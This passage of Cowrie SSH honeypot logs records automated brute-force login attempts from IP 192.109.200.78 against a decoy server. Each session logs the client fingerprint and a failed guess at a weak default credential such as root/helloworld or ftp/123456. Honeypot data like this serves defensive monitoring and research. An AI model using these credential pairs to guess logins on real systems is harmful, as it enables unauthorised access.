openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:08.712398Z","src_ip":"192.109.200.78","session":"858a37351b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:08.963390Z","src_ip":"192.109.200.78","session":"858a37351b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:09.235737Z","src_ip":"89.223.69.22","session":"d789c82e997a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:10.047454Z","src_ip":"192.109.200.78","session":"858a37351b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45796,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b571145ee71","protocol":"ssh","message":"New connection: 192.109.200.78:45796 (10.17.0.5:22) [session: 3b571145ee71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:11.989321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:11.993499Z","src_ip":"192.109.200.78","session":"3b571145ee71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:12.074215Z","src_ip":"192.109.200.78","session":"3b571145ee71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:12.318676Z","src_ip":"192.109.200.78","session":"3b571145ee71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:13.401930Z","src_ip":"192.109.200.78","session":"3b571145ee71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1017766a06d7","protocol":"ssh","message":"New connection: 192.109.200.78:45814 (10.17.0.5:22) [session: 1017766a06d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:15.584880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:15.677727Z","src_ip":"192.109.200.78","session":"1017766a06d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:15.685003Z","src_ip":"192.109.200.78","session":"1017766a06d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:16.023521Z","src_ip":"192.109.200.78","session":"1017766a06d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:17.107485Z","src_ip":"192.109.200.78","session":"1017766a06d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45834,"dst_ip":"10.17.0.5","dst_port":22,"session":"795c43959418","protocol":"ssh","message":"New connection: 192.109.200.78:45834 (10.17.0.5:22) [session: 795c43959418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:19.062063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:19.066442Z","src_ip":"192.109.200.78","session":"795c43959418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:19.147328Z","src_ip":"192.109.200.78","session":"795c43959418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:19.391983Z","src_ip":"192.109.200.78","session":"795c43959418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:20.476080Z","src_ip":"192.109.200.78","session":"795c43959418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47482,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb358e77fe8","protocol":"ssh","message":"New connection: 192.109.200.78:47482 (10.17.0.5:22) [session: 1eb358e77fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:22.437713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:22.442421Z","src_ip":"192.109.200.78","session":"1eb358e77fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:22.527901Z","src_ip":"192.109.200.78","session":"1eb358e77fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:22.771880Z","src_ip":"192.109.200.78","session":"1eb358e77fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:23.855543Z","src_ip":"192.109.200.78","session":"1eb358e77fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b673cd4c08d","protocol":"ssh","message":"New connection: 192.109.200.78:47498 (10.17.0.5:22) [session: 2b673cd4c08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:26.099969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:26.104421Z","src_ip":"192.109.200.78","session":"2b673cd4c08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:26.185409Z","src_ip":"192.109.200.78","session":"2b673cd4c08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"rootroot","message":"login attempt [app/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:26.429521Z","src_ip":"192.109.200.78","session":"2b673cd4c08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:27.513684Z","src_ip":"192.109.200.78","session":"2b673cd4c08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47506,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d8b28501af","protocol":"ssh","message":"New connection: 192.109.200.78:47506 (10.17.0.5:22) [session: 44d8b28501af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:29.524228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:29.528593Z","src_ip":"192.109.200.78","session":"44d8b28501af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:29.612872Z","src_ip":"192.109.200.78","session":"44d8b28501af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:29.858875Z","src_ip":"192.109.200.78","session":"44d8b28501af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:31.075928Z","src_ip":"192.109.200.78","session":"44d8b28501af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38882,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7bb998c1aa","protocol":"ssh","message":"New connection: 192.109.200.78:38882 (10.17.0.5:22) [session: 7b7bb998c1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:32.937754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:32.942313Z","src_ip":"192.109.200.78","session":"7b7bb998c1aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:33.024691Z","src_ip":"192.109.200.78","session":"7b7bb998c1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:33.270865Z","src_ip":"192.109.200.78","session":"7b7bb998c1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:34.355315Z","src_ip":"192.109.200.78","session":"7b7bb998c1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"d43d00b2827b","protocol":"ssh","message":"New connection: 192.109.200.78:38906 (10.17.0.5:22) [session: d43d00b2827b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:36.500552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:36.548811Z","src_ip":"192.109.200.78","session":"d43d00b2827b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:36.630732Z","src_ip":"192.109.200.78","session":"d43d00b2827b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:36.873399Z","src_ip":"192.109.200.78","session":"d43d00b2827b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:37.957375Z","src_ip":"192.109.200.78","session":"d43d00b2827b","protocol":"ssh"}
